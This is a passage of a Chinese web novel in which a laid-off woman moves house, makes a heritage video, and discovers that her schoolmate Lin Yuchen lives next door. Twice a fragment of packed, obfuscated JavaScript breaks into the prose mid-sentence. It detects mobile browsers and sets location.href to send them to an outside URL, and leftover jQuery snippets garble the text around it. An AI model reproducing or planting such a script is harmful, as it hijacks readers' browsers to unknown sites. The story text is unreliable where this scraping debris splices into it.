余希柠病了两天,柜子里的药都吃完了才扛过来,白天没精神,一到晚上又睡不着觉,整个人昏沉得没有半点生气。 郑重发消息约国庆档期,之前余希柠说好了今年不放她鸽子,要一块去旅游。目的地郑重都想好了,就去瑞士,也得开始着手准备签证材料了。 “瑞士是申根签吗?无业游民申不了吧?” “啊?无业游民?你辞职了?” “准确来说,是被裁了。” 郑重结束手头的工作赶来余希柠家,先是被一屋子搬家纸箱堵得慌,然后就看到了余希柠颓靡的状态,瞬间皱紧眉。 “都拿了赔偿金,怎么还把自己搞得这么狼狈?” 郑重把余希柠拉出门,先是带她去做头疗,然后做皮肤管理,全程什么话都没说,就让余希柠享受放松,去去晦气。 等到了餐厅吃饭,郑重才开口问她:“活过来了没有?不就是裁员吗?现在这个大环境太正常了。” “我就是觉得自己很倒霉,什么事情都摊上了。早知道当初就不要买房子,现在压力也不会这么大。” “你越是这么想,能量场只会越低,要怪就怪大环境,房子买都买了,后悔什么,一切就是最好的安排,人生如棋,落子无悔。” 郑重最看不惯余希柠这副丧气的样子:“拿了赔偿金就好,很多人在仲裁都是因为连钱都没发。你那破公司,待了也是蹉跎人生,倒不如趁此机会好好想想,要不要转行做自己喜欢做的事情?” “你说自媒体?我有段时间没接商单了,平台数据都很一般。” 这阵子余希柠都腾不出时间找新素材剪片子,账号也没怎么上,怕上去了看到催更,心痒。 “对啊,我记得你之前想做家乡非遗这块,但苦于没时间做功课,现在不就正好有时间?” 郑重反复强调,拿了赔偿就等于这个月还有工资,但不用去上班,就有时间可以做私活,折合起来就是双赢。 余希柠茅塞顿开。 “我刚见到你的时候都吓一跳,什么垃圾状态,你得学会自救跟自修,当然,自醒也是要的。现在这个环境就是,你只能怪别人,不要去怪自己。” 余希柠觉得前路一片灰暗:“搞不懂经济怎么会变得这么差,未来还会好吗?” 郑重摊手:“我不是学经济的,但我觉得未来好不好取决于你自己,别灰心,接受每个阶段的生活,会好的。” 余希柠:“借你吉言。” 郑重:“丧解决不了任何事情,反而会把自己搞得很疲惫,人的能量低,周身磁场都会变。吸引力法则,懂?” “懂。” 事情已经发生了,懊恼自责并不能够让她回到三日前,先前的焦虑和不安因为郑重三两句话被余希柠强行挡在外。 郑重有一点没有说错,她现在有时间可以做自己喜欢做的事情了。 “如果你想要继续找工作,就着手更新简历,这么多年积累的经验跟业绩数据,跳槽高一阶不是问题吧?到时候薪资也会上涨,比你在前司一直熬着好太多了。” 余希柠没有郑重那么有信心:“我就是担心这个年龄不好找工作,你知道的,女性在这个社会是弱势,三十岁未婚未孕更是。HR看简历估计看见年龄就略过了,招毕业生多好,年轻灵活,成本还低。就算是要多年工作经验,选男选女,这不用犹豫吧?” 什么时候上面能看到女性处境,就说明这个社会在慢慢变好了。 郑重:“如果这个公司性别歧视、年龄歧视,那去了也没什么意义,你反正就海投,合眼缘的话就面。找工作和找恋人是一样的,双向选择,不必勉强自己。别灰心,你还有特长这个闪光点可以发挥,饿不死。” 余希柠点点头。 “对了,我看你客厅里堆满了搬家纸箱,是打算搬去新房了吗?” “原先想着有空就先整理一些东西,毕竟一个人收拾,工作量有点大。你倒是提醒我了,现在没了工作,每个月还要付两份房钱,我干脆趁不用上班,搬去新家,这边退租算了。” 郑重:“你之前不是说新房要散甲醛?” “其实它甲醛没超标,我本身用的板材是爱格,环保级别的。然后入宅之前还找人除过甲醛,是不是智商税不知道,我朋友的朋友免费提供服务的,说是帮他在小区打广告就行。”余希柠其实也有点担心,“到时候空调开新风系统是不是好些?” “听上去也可以,不过这是我的盲区,给不了参考意见。” 余希柠:“换个新环境,兴许好运就来了。” 郑重:“有道理。” 渣滓公司,破烂世界,对两者的祛魅就是余希柠变强的开始,就像郑重说的,人生如棋,落子无悔,接受每个阶段的自己。 余希柠花了两天更新简历,又重新做了一份工作项目总览,把这些年在两家公司工作的重点项目案例都拎出来着重说明。 紧接着先是在几家意向公司内网上看好岗位,问朋友要到内推码后逐一投递,然后在招聘软件上对几家有兴趣的公司进行背调,背调内容无非就是看公司福利、官网项目和员工氛围,对照薪资范畴和通勤时间筛选投递。 做完这些,就到了周末。 余希柠叫了搬家公司,一个人的东西塞满了一整辆小面包车,跟车到新小区,也不用她动手,师傅就把全部箱子分两趟搬进家里。 知道她今天搬家,宋乔夫妇和许于薇夫妇都过来帮忙,男生负责把柜子擦干净,女生负责往里放东西,不到半天就全都整理好了。 “谢谢你们,我原本还想着自己慢慢收拾,一天一个房间也不会没事可做。” “你现在就算是时间富翁,也不能这么浪费啊,早点收拾好,早点干正事。”宋乔抬起胳膊肘捅了捅陈遇:“东西呢。” “在我书包里。” 陈遇洗干净手,拿过书包,从里面拿出一个文件夹还有A4纸大小装订成书的本子。 “不会是想让我学习考公吧?” 陈遇去年考公上岸,在人力资源和社会保障厅负责社保经办的宣传推广工作。 “不是,这是我之前自己整理的一些关于潮汕地区非遗传统文化的资料,大部分是关于布马舞的。我听宋乔说你想做非遗专题的视频,就拿过来给你看看能不能用上。” 陈遇哭笑不得:“当然,如果你想考公,我也有资料可以给你,行测跟申论没问题,时政估计得找新的。” “不不不,我不是考公的料子。”余希柠连连摆手,拿起陈遇给的资料翻看:“居然连采访稿子都有?” 许于薇也凑上来围观:“这资料很宝贵啊,整理也花了不少时间吧?” 陈遇:“之前读研的时候为了写论文搜集的,本以为得当废品卖了,没想到还能用上。” “谢谢你啊陈遇,我原本还在想该怎么着手,是不是得回一趟饶平才行。但我现在……” 余希柠还没有把被裁一事跟家里说,怕陈慧柔和余序洲承受不住。 许于薇看出了余希柠的顾虑,问:“没跟家里说吗?” “我是觉得没有说的必要。”在这件事上,宋乔难得跟余希柠同个想法:“慧柔阿姨太敏感了,要让她知道,估计都承受不住,到时候希柠平添压力。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231290|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许于薇想象了一下,点头:“确实,那还是先瞒着,好在这会儿还没跟爸妈住一起。” “我想等找到了工作,度过这段时间后再跟他们说,不然他们帮不上忙,还会焦虑。” 宋乔:“对,现阶段以你自己为中心,怎么舒服怎么来,不要焦虑也不要有压力。” 陈遇揽着宋乔的肩,附和道:“搬到新家,一切就是新的开始。之前没时间做的事情现在可以放开手脚做了,有行动才会有反馈。” “晚上我请大家吃饭,答谢今日特地过来帮忙搬家。” 余希柠餐厅都选好了,方才抽空打电话预定了一个包厢。 “哎你怎么抢我们家钦哥的活,来之前他说了,今晚请客,难得人这么齐,不得给我们家大哥一点面子?” 许于薇推着黄旭钦上前,“你是不是这么说的?” 黄旭钦:“对。我人在这呢,哪有让你买单的理。” 余希柠拿出手机点开预订短信:“我餐厅都订好了,钦哥就别跟我抢了,放心,这顿饭我还是请得起的。” 出发前,许于薇拉住余希柠小声道:“之前没敢问你,你堂姐的事后来怎么样了?” 余希柠都笑不出来:“一个愿打一个愿挨,我大伯家不想出面,觉得离婚太丢人了,还说我堂姐既然没有声张就说明还有回转余地。” 许于薇当即没忍住,翻了个白眼。 “后来我本还想抽空再去一趟佛山,但她发了条朋友圈,晒娃晒生活,一家三口都出镜了。”余希柠耸了耸肩,“只能说,各有选择。” 余序洲也加了余清越的微信,当晚就看到那条朋友圈,对此还和陈慧柔说:“清越还是懂事,性子好,知道经营一个小家就是要这样,互相包容,互相体谅。你那天晚上也真是,被希柠一煽动就跟着闹,差点毁了人家一桩婚。” 陈慧柔瞪了余序洲一眼:“我是觉得希柠没错,你这话不许在她面前说,否则我跟你翻脸。” 许于薇挽着余希柠的手劝道:“你也别觉得难过什么的,咱们没做错,不撞南墙不回头,别人的生活,干涉不了。” “你和我妈说的一样,她看见了也怕我难受,怀疑自己多管闲事,但这事我问心无愧。” 许于薇稍稍惊讶:“阿姨现在观念有进步了啊,我还以为她跟你大伯家想法一样呢。” 余希柠垂眸笑了声:“别人的事情她都很开明,就是对我和她自己不行。” 许于薇:“慢慢来。” 晚上,陈慧柔给余希柠拨视频,见她在新家,还以为是过去给房子通风顺便打扫卫生。但仔细看,柜子上好像又多了不少东西。 “你搬过去了?不是说要先通风散甲醛吗?” “宋乔他们正好有空,就帮我先搬过来了,我白天出门上班不在家里,就晚上回来睡一觉,空调开新风系统也没什么大问题。” 余希柠撒了个谎,为的就是不让陈慧柔看出什么来,她虽然不太信母女之间有情绪感应,但还是保险起见。 陈慧柔略一沉思:“也行,要不你晚上睡觉时空调开,窗户也开,就不要完全封闭的环境。” “那多浪费电啊,没事的,我自己心里有数。” “番禺那边跟房东说退租了吗?提前退的话要交违约金吗?” 之前是跟房东说租到十月份,陈慧柔也不清楚广州大城市,临时退租需不需要违约金。 “要不多租一个月,万一这边睡了不舒服,你还能搬回去番禺。” 余希柠:“嗯嗯,我知道。” 陈慧柔:“冰箱里吃的还够吗?要不要再寄一些过去?想吃饺子还是糯米卷?” “暂时还不用,需要的时候我会说的。” “好,工作忙不忙啊,之前听你说这个月要年中述职,述完了吗?有没有给你涨薪?” 陈慧柔一直惦记着涨薪这个事,主要还是因为现在买房了,怕余希柠每个月月供压力太大,在生活其他方面舍不得花钱。 余希柠听了却很心虚,只能借口大环境差,能保住饭碗就不错了,不敢提涨薪。 陈慧柔叹了口气:“在外打工都不容易。” 怕和陈慧柔聊太多露馅,余希柠借口要忙,匆匆挂断了视频电话。 撒谎的感觉并不好受,只求能顺利找到一份新工作。 61. 邻居 新的一周,内推和招聘平台都没有任何反馈,余希柠有些心烦意乱。看样子就业环境远比她想象中的要严峻,即便是有多年的工作经验也并不能立马获得合适的面试机会。 但她不想降低自己的要求,情愿再等一等也不瞎投。 账号上接了个商单,配合新剧上线,需要赶在7月上旬发布,这算是在余希柠熟悉的领域,所以很快就交了视频初稿。宣传方很满意,定稿等上线,又下了一单角色CP向的,想在8月份投,拉长尾期效果。 这中间有半个月的空白期,余希柠拿着陈遇给的资料琢磨非遗选题的事情。 她之前上线发了个库存视频刷账号活跃度,底下就有粉丝在问,潮汕非遗的视频还更不更了—— “檬妹不更非遗英歌舞了吗?之前不是说拍了不少素材能剪出一条纪录片?一直在等呢!” “阿嬷,好消息!我等的UP她终于更新了。坏消息!更的不是饶平布马舞。” “我的宝藏up,你可知道饶平国有多需要你。” “潮汕非遗那么多,柠檬不是应该趁热打铁多出几期?” “好不容易看到一个胶己人的UP主,别让我空等啊!” …… 催更的人不少,这让余希柠更加相信这个选题没选错,关键就是能不能做出爆款内容,区别于平台上已经有的形式,拒绝同质化。 她把之前写的提纲结合陈遇给的资料,重新捋了一下,想着从饶平布马舞的历史起源讲起,看能不能找到一些影视素材,或者是跟动画区、手书区的UP主合作。以影视或者动画故事的形式展开,更加通俗易懂。 余希柠习惯了睡前整理思路,入夜安静时灵感迸发,会多些奇思妙想,第二天起床就按照昨晚想的内容做,效率会高些。 这也是她的工作经验之一。 小区是新小区,入住率不算高,还有些楼层住户在装修,工作日的话会相对吵一些。 好在余希柠所在楼层和上下两层基本都装修完了,没有电钻之类的声音。之前她在业主群里观察了下,同层入住的好像就她这一户,其他要么没进群,要么是装完了在散甲醛。 午饭吃完,余希柠就抓紧梳理脚本内容,赶着发给一位做动画手书的UP主,对方也是潮汕人,是余希柠二次元好友介绍认识的。 在得知余希柠的想法和看过她拍的视频后,手书UP爽快答应共创视频,为爱发电。 “青木老师,文件里包含脚本内容和粗版分镜,您看一下,动画这块就……” “嗡嗡——” 突然响起的电钻声把余希柠吓了一跳,手一抖,还没说完的语音消息就这么发送出去。 因为还是脚本阶段,余希柠就在客厅餐桌上办公,这电钻像是隔壁的,有种直接对着心口钻的感觉,有一瞬间余希柠觉得心脏不太舒服。 等缓过来,她忙撤回发给青木的消息,瞥了眼手机上的时间,是禁止进行产生噪音的施工作业阶段。 余希柠点开业主群想找隔壁业主理论,发现人家根本没进群。 电钻还在继续,离得近,整间屋子像跟着在震动,声音刺耳得很。余希柠想都没想,打开门就冲出去隔壁理论。 “嘭嘭嘭——” 确认是屋里在开电钻,余希柠拍了几下门,又摁了门铃,气话到了嘴边就等门一打开。 “知不知道现在几点了,你——” “余希柠?” 对方也愣住,下意识提高了嗓音。 余希柠脸色难看得很,原本皱紧的眉头在看见人脸后,拧得更深:“林屿沉?你怎么会在这?” 林屿沉无辜道:“这是我家。” 余希柠彻底惊呆了,她的新房邻居,是林屿沉? 屋里。 林屿沉狂打了两个喷嚏,满腹疑问地盯着余希柠看。余希柠塞着耳塞面无表情地看着师傅安装电视移动架子,待电视机挂上,她才摘下耳塞。 师傅:“你连一下WIFI看看播放画面。” 林屿沉照做。 “没什么问题了,这是保修单和说明书,箱子先留着别急着扔,万一有什么问题可以退换。” “好的,辛苦师傅。”林屿沉把人送走,回过头抱臂看向余希柠:“上班时间,你怎么会在这里?” “午休时间,你装什么电视?” 余希柠至今都还心有余悸,恨不得让林屿沉赔偿精神损失费。 “师傅来得晚,就没看时间,你不是住在番禺吗?什么时候在黄埔买房的?”林屿沉眼角眉梢挂着不可思议的笑,“世界上居然有这么巧的事情,老同学成了我新邻居,你什么时候买的房?” 什么时候。 余希柠刚想着报时间,忽然意识到,当初和她一起来看房的人就是林屿沉的大姨,黄沐卿。 会不会是她买了之后,黄沐卿去怂恿林屿沉买在这儿,不然怎么会巧到同一个小区,还是隔壁屋。 不对,她来买的时候销售明确说过,隔壁02房已经卖出去了,那黄沐卿怎么会不知道这个盘。 全乱了。 余希柠咬着唇,根本捋不清出眼下情况。林屿沉抬手在她面前打了个响指,睨眼看她。 “问你什么时候买的房,很难回答?” 余希柠垂着眼睛:“去年11月月底。” “哦,比我慢。能去你家参观一下吗?新邻居。” 林屿沉看出了余希柠的不自然,主动让她回到一个熟悉的环境。 “你这是搬过来住了?这么快。” 他一进屋就看见厨房灶台上放着的锅具和碗筷,还有玄关柜上放着的杂物。 余希柠快速跑向沙发,把随手丢在上面的衣服拿回房间衣柜里。林屿沉换好鞋子站在玄关通道,等着她出来才进客厅。 “早点住过来,番禺那边就可以退租,不用两头花钱。”余希柠指了指沙发,招呼林屿沉:“坐吧,我去给你倒杯水。” 01和02是对称户型,但林屿沉家和余希柠家是两个完全不同的装修风格,一个是现代简约,一个是法式复古。 余希柠家定制柜的颜色是羊绒灰为主,林屿沉家是黑条纹和白,带些深棕。 “你……” 林屿沉的视线落在餐桌上的电脑和资料文件:“今天不用上班?” 余希柠愣了一下:“我今天……调休。” 双手背在身后,佯装坦然地看着林屿沉,“被裁”二字有些难以启齿,她不想说。 林屿沉观察着余希柠的神色,若有所思地点头。 “你呢,你什么时候买的房?为什么选在这儿?” 余希柠转移话题,一方面也是想知道黄沐卿当时陪她来看房的时候,究竟知不知道林屿沉也买在这。 “去年年初买的,站岗位。当时是因为附近有个创意园,我公司在那,考虑上班方便。还有就是这个户型不错,周边发展也还可以,未来可期。” 余希柠:“你家里人来看过房吗?他们知道你买在这个小区?” 林屿沉摇头:“我和朋友来看的,他们只知道我在公司附近买了个小三居,其他不清楚。” “还能这样?” 余希柠有点意外,她以为林屿沉会跟自己一样,跟家里绑定得很密切,买房这样的大事,父母多少要陪着拿主意。 林屿沉道:“什么?” “就觉得你爸妈挺开明的,这么大的事情不清楚。沐卿阿姨不也在广州吗?她没来过你这儿?” “她知道我买房,但一开始我下定的不是这个小区,后来才换的,换的时候没跟她说。” 余希柠似信非信地点了点头。 林屿沉又问:“你刚刚是在午睡?” “没,在干活。” “不好意思,我当时的确没注意到时间,也以为隔壁还没搬过来住。”林屿沉站起身,“我还要回公司,下次见。” “要走了吗?” 余希柠跟着起身,在新家和林屿沉这么近距离地站在一起,总感觉有些不真实。 “嗯,你忙吧,不打扰了。” 余希柠送林屿沉离开,待门关上,她捂着胸口的位置,心脏砰砰直跳,一切居然都是真的。她压低声嗷了一下,拿着手机冲进主卧,还多余地把门带上,火急火燎给郑重打电话。 见鬼了,她的生活里无端端插入了一个戏剧剧本—— 《对我说不的相亲对象竟成了我隔壁邻居!》 又名《我的小学冤家成了我新房邻居!》 郑重听完余希柠的话,还以为自己是午觉没睡醒:“我的救命恩人现在是你新家邻居?余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238023|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希柠,你不会是被人家家里人设套了吧,我印象中记得你说他的阿姨还是姑姑,是你妈闺蜜,想给你俩牵线。” “我一开始也觉得!但我问他了,他说他阿姨不知道,因为他原本想买的是另一个楼盘,都下定了,后来取消买了现在这里。”余希柠就是跟郑重复述都觉得很不可思议,“天底下怎么会有这么巧的事情……当初沐卿阿姨陪我来看楼盘,的确像是第一次来,感觉她不会骗人,不至于啊。” “那就是你俩太有缘了,老天爷都在帮你们拉近关系。” 余希柠激动了一半,又垂下头来:“偏偏是在我最狼狈的时候,看见是他的那一刻,我整个人都慌了。” “他知道你待业在家吗?” “不知道,我撒谎了,说自己今天调休,没去上班。” 郑重沉默了一瞬。 余希柠小心翼翼道:“你是不是觉得我很虚伪啊?可我当时……真不想说。上学那会就是,他是班里学霸,是我妈眼中别人家的好孩子,和他比我总是矮一大截。现在好了,我失业了,是无业游民,根本抬不起头来。” “你又来,之前是谁说自己不会内耗,最不屑于内耗的?那个没心没肺的余希柠哪去了?要我说,你就不要去推断别人对你的看法,少评价自己。” 郑重感觉自己上一秒还在吃瓜,下一秒又变成心理疏通大师:“我记得你说他是在创业?” “对。” “创业不也是从无业游民起步的,你这会儿在做自媒体,你也是创业,你俩起点都一样,谁能高贵过谁?他福布斯了吗?没有吧,企业有五百名员工了吗?没有吧,那你抬不起什么头?你也可以说你在准备创业,当自媒体博主。不对,你都已经当上了。” 余希柠失笑:“被你这么一说,好像是这个道理。” 郑重:“《□□先生去看心理医生》要不你抽空看看这本书?我觉得你现在很多情绪,都可以在里面找到共鸣和解答。” 余希柠:“好……没想到八卦到一半又是说这些,我都怕你有一天会烦我。” “余希柠,有没有一种可能,你是对这个男生有兴趣啊?所以想要维持最好的形象。” 余希柠:“……” 郑重激动起来:“我猜对了!我早就有这种感觉了!喜欢一个人就是会这样!很怂!会自卑!会挑剔自己!会笨拙!” 感觉郑重每一个词都带着重音,余希柠听得面红耳赤:“不是……不是,我跟他就是单纯的同学,最多就算朋友。” “去你的朋友,爱,原就是自卑弃暗投明的时刻!”郑重笃定道。 余希柠手机震了两下,是青木发来的消息,她这才记起那聊到一半的正事。 “哎哟,我还有脚本要对,先去忙了。” 郑重觉得好笑:“猜中你小心思就要跑了?” 余希柠急道:“不是,我真的要去对脚本,跟一个动画区的UP合作了新一期的视频,争取做些不一样的开场。” “行那去忙吧,等你新视频上线,一键三连。” 青木在余希柠发的分镜基础上加了一些自己的想法,因为画得有些潦草,担心余希柠看不懂,又发了一段语音解释。 做动画的时间成本很高,青木尽量把时间控制在四天内,又从自己过往作品中找了两个画风相似的发给余希柠作为效果参照。 余希柠先是道歉说明方才是突然有事耽搁了,发了文件后忘了补充说明。青木的语音她听明白了,没什么问题。 青木:“好,那就开干,我一般中午才醒,晚上是夜猫,如果要沟通什么细节尽量下午或者晚上聊。” 余希柠:“知道了,辛苦青木老师。” “客气。” 青木做动画的时间,余希柠也同步剪辑自己的视频,背景音和字幕花样她已经提前找好。 入夜的小区非常安静,没有广场舞的声音,没有商铺的吆喝声,没有马路车辆喧嚣和小孩哭闹,很适合居家搞创作。 “搞定!” 素材是提前砍好的,有哪些画面要用上,余希柠也了如指掌,再加上之前捋了无数遍的分镜逻辑,今天的工作说白了就只是把镜头按顺序凑到一起,先剪个粗版再调。 余希柠站起身,伸了伸懒腰,端着水杯看着窗外的夜色,有种久违的安逸感。 62. 开解 因为没有出门上班,所以微信步数只有一百多,生怕被发现,余希柠换了套运动服下楼跑步,一方面也算锻炼身体,在电脑前坐了一天了是得松松筋骨,放松放松眼睛。 出门时她特地望了眼隔壁大门,自从知道住的是林屿沉,总觉得怪怪的,脑海里下意识浮现郑重的话,余希柠警惕地摇摇头。 千万不能被干扰了,不是,一定不是。 陈慧柔拨视频过来,见余希柠在楼下跑步,惊喜不已:“对,跑步就对了,下了班不要急着回家躺平,下楼跑跑圈或者散步都行,运动出汗,不然每天都坐在办公室里没动。” 余希柠:“你和爸出去散步了吗?也别整天一个人待在家。” “散完回来了,你昨晚睡得如何?睡醒有没有觉得口干舌燥的?” 陈慧柔主要是想知道余希柠在新房住得怎么样,如果还是有甲醛反应,安全起见就得搬回番禺,再通风一段时间。 “挺好的,一觉到天亮,也没觉得哪里不舒服。” 余希柠在屋里待了一整天,的确没什么感觉,除了没什么自然风以外,其余还好。 “那就行,你锻炼吧,我去洗澡了,晚上不要熬夜,注意劳逸结合。” “嗯。” 结束通话,余希柠有种怅然若失的感觉,她走到儿童区的秋千椅坐下,点开招聘软件,沟通过39,已投简历2,待面试0。 基本上心仪岗位的hr都是已读不回的状态,不论她怎么诚恳表述,连一句“不好意思”都不愿意给。 有一瞬间,好像回到了几年前,去不成北京,回来广州找工作,也有过这样一段频频等待回复的时间。 余希柠靠着秋千链条发呆,如果经济形势和职场环境不作出改变,那被裁只有0次跟无数次。 从前看不起的铁饭碗,如今成了炙手可热的香饽饽,难怪年轻人挤破了头也要争一个上岸的机会。 而那些从前向往的大厂、企业,如今则成了奴隶牛马的血汗工厂,默认十二小时上班制,提前下班必被谈话,工作朝不保夕,随时被丢弃。 余希柠觉得自己像大海上一艘漂浮不定的小船,拒绝接收过来人的航海经验,顾自倔强选择一条大的航道上路。 狂风呼啸,巨浪撞击,即便她抓紧了船桨使劲划也躲不过一个汹涌而至的浪潮,小船被掀翻,连带着人被冲到沙滩上,搁浅卡在礁石群。 小船破破烂烂,人遍体鳞伤,凛冽朔风像是在嘲笑航海人的不知天高地厚。 都说大海美,无垠广阔,日出时天边泛起红光,海鸟踏浪飞起,黄昏时的潮水轻拍沙滩,晚风轻柔潮湿。 可一旦它凶狠起来,浪卷着石头,随时都能连人带船以激烈决斗之姿,一方覆灭之势沉落下去。 又是一个看似平静的白日,航道上仍有无数艘船在航行,它们也不清楚,昨夜那场风暴卷走了多少条小船。 余希柠吸吸鼻子,拿着手机起身回家,她的这艘船恐怕需要修上一段时间,待那时再看要如何出发。 按照原定排期,青木准时提交做好的动画,余希柠负责的部分已是改了又改,连调色滤镜都换了两三个版本才满意。 合成后她重新调了一下字幕和背景音,加上找人设计定制的栏目开头,视频显得有模有样,发到群里的时候,许于薇都惊呆了。 “这是又上了一个大高度啊!” 余希柠不太确定:“别上来就夸,提提意见,我也是第一次尝试这种风格。接受任何评价,改到满意为止。” 宋乔:“以后都会跟动画结合吗?” “那没有,只是一时没有找到合适的影视素材,所以想用动画形式来解释布马舞的历史起源。我也是第一次尝试这种风格,动画区和生活区还是两个不同的池,也会担心流量跟数据。” 余希柠是实在看不出有什么点需要修改了,毕竟是创作者,对自己的孩子带滤镜。 宋乔:“你等我一下,我发给陈遇看看。” 余希柠:“好!” 按照陈遇给的资料上说,布马舞的起源有两则民间传说,一是南宋文天祥高中状元,皇帝对其表彰,赐状元郎同探花、榜眼、进士等人策马游街庆贺。二是南宋开国皇帝赵构躲金兵追击,遇一匹泥塑之马化身骏马驮康王渡河避险。 《状元游街》和《泥马渡康王》是布马舞比较经典的作品之一。余希柠原想着找影视剧目来衔接,后来考虑到素材清晰度和版权问题,才更换成动画。 “动画衔接有点意思,几个着重强调的字幕也做得挺好的,没什么问题啊,我觉得完全是一支质量很高的内容视频。如果非要找进步空间的话,可以考虑后期加入旁白配音,问问希柠二次元圈有CV可以配合吗?要不她自己当旁白也行啊,她都没有潮普。” 宋乔把和陈遇的聊天截图发到群里,余希柠表示感谢。 旁白配音她考虑过,但小区不时有装修的声音,录音环境很一般,她又不擅长音频处理,就怕加了效果不好。 既然陈遇也提了这点,那下次就试试看,实在不行就花钱找人处理。 当晚余希柠在账号上更新了视频,没多久就看见宋乔、许于薇、陈遇、林烜自发转了这支视频到朋友圈。 余希柠点赞感谢好友支持,很快,列表里的同学,就连许小洁也转发了。 许小洁:“哎呀终于是让我等到了!太棒了希柠,这支视频做得好好,可以授权我们官号发布吗?” 余希柠:“没问题啊,不过这是我跟朋友的共创,麻烦到时候发布带上他@一点青木,他也是潮汕人。” 许小洁:“他也是潮汕人?这么巧,太棒了,还得是自己人做自己家乡的文化,味道才对。” 微信消息一直在震,余希柠切回列表就看到很多圈她的信息,自春节用自己账号发布了布马舞的视频后,大都知道了她的马甲。 余希柠也没再藏着掖着,大大方方承认自己就是“咬一口柠檬”,被亲友关注也算是一种督促和鼓励吧。 许小洁:“我看你单独开了一个专题栏,是以后会多做几期和布马舞有关的视频吗?” 余希柠:“对,不止布马舞,英歌舞和潮剧我也想做,不过都需要很多时间,资料收集、研究回访、拍摄取景等等。” 许小洁:“哇,我开始期待了,如果需要什么帮助随时联系我,这个版块我很看好。” 余希柠欣喜不已:“感谢!你就是我的最强人脉。” 许小洁:“举手之劳。” 不到半小时刷新页面,数据已经涨了小几千,余希柠受宠若惊地看着每条评论,简短互动了一些。 “檬妹要转型做文化类UP了吗?虽然也喜欢这一类的视频,但剧情剪辑还会不会继续做啊?” “好有意思的动画!配上背景乐故事性好强,传统文化确实需要受到关注。你币有啦!” “UP考虑之后继续做非遗专题吗?我们家这边的泥金彩塑需要被看到!” “潮汕不止这些非遗,求做美食专题的!” “对对对,潮汕美食可太多了,想看美食类!” …… 居然歪楼到美食赛道去了,余希柠忍俊不禁,如果以后真的要全职做自媒体,感觉可以在评论区翻找灵感,不愁没有选题做。 两天时间不到,余希柠的视频就登上了热门和榜单,不少机构抛来橄榄枝希望能够签约合作,给出的条件都很丰厚。 “您好,您的外卖到了,麻烦开门取一下。” “哦哦稍等。” 早上起晚了,中午想着偷懒就点了外卖,余希柠刚打开门取餐,就见电梯叮的一声,林屿沉走了出来。 视线对上的那一刹那,余希柠心虚歪头:“嗨。” 林屿沉是来拿快递的,之前买东西填错了地址,寄到新房来。趁午休时间过来取,没想到又撞见余希柠在家,上班日,又是一身家居服,哪家公司那么好,三天两头给员工调休。 林屿沉不傻,等着外卖员离开,上前抬手挡住门,垂眼看着余希柠:“怎么回事?” 男人的目光太过强势凛冽,容不得她有任何小心思。 余希柠让开身:“进来说吧。” 林屿沉进屋,换上余希柠从柜子里取出来的男士拖鞋,还是上次那双,和她脚上穿的是一个图案,男女款。 “你吃过饭了吗?” 林屿沉:“吃了。” “那我边吃边说,你不介意吧?” 她早饭都没吃,这会儿早就饿了,当着林屿沉的面把外卖拿出来,在桌上垫了张废纸以免油沾得到处都是。 林屿沉拉开餐椅坐下,和余希柠面对面:“你平日里就吃这些?我上次来见你做饭的。” “有时间的话就自己做,偶尔也想偷懒吃点不一样的。” 余希柠点的是寿司和烧鸟串,礼貌分给林屿沉一串,他摇头拒绝:“我吃过了。” “你刚刚想问我什么,问吧。” 芥末冲鼻,余希柠不敢多蘸,怕当着林屿沉的面出洋相。 林屿沉微不可察地蹙了下眉,打量余希柠:“你……辞职了,没去上班?” 余希柠抬眸,等着嘴里的寿司吃完,更正道:“准确来说是被裁员了,领了大礼包,成了无业游民。” “上次撞见你的时候,你就已经?” 余希柠点点头。 林屿沉声音稍淡了几分:“那时候为什么不跟我说实话,要骗我说是调休。” 余希柠垂下眼,筷子无意识地拨弄着寿司上的海草,嘴角噙着苦笑:“这还用问,当然是不好意思说了。” 林屿沉片刻怔住,随即道歉:“不好意思,我不是那个意思。” “没什么,我现在想开了,这个大环境被裁也很正常,休息一段时间重新上路就是。” 余希柠装作很释然的样子,朝林屿沉挤出一个笑容,努力不让他看出破绽。 林屿沉:“有在看工作机会吗?” “怎么,林总公司有在招人?” “我们公司你不适合。” 余希柠本就是在开玩笑,偏偏林屿沉还回得一本正经,瞬间尴尬:“哦也是,都是高精尖人才,我是学渣配不上。” 林屿沉解释:“不是,是专业领域不一样,我在你的领域也是学渣。” 余希柠笑着点了点头,接受这个说法。 “上一周野心勃勃投了不少岗位,包括朋友那也帮忙内推了不少,但就是没有面试机会。”余希柠挠了挠额头,努力掩饰着眼底的失落:“我觉得我履历还是可以的,但不知道为什么别人就是不选,可能是年龄太大了吧。” 林屿沉挑眉:“年龄太大?你不是还比我小一岁吗?” 余希柠:“男女不一样。” 短暂沉默后,林屿沉又问:“那你有什么打算?又或者有没有什么我能帮上忙的?” 余希柠吃着寿司,盯着林屿沉看,一副当真在认真思考的样子。 林屿沉被她看得有些不太自然,轻咳了一声,眼神往旁边飘了一下。 有什么情绪在空气中氤氲开来,林屿沉不动声色地往后靠,后背触及椅背,宛若湍急河流中攀紧了浮木,心定了定。 “你当初怎么突然想到去创业的?你和你家人说这个想法时,他们同意吗?” 余希柠想了想,或许眼下自己解不开的题,可以在林屿沉这儿找到思路和方法。 “我当时……” 林屿沉刚开口,手机就响了,拿出来一看是合伙人季岱泽打来的电话。 “我接个电话。” “随意。” 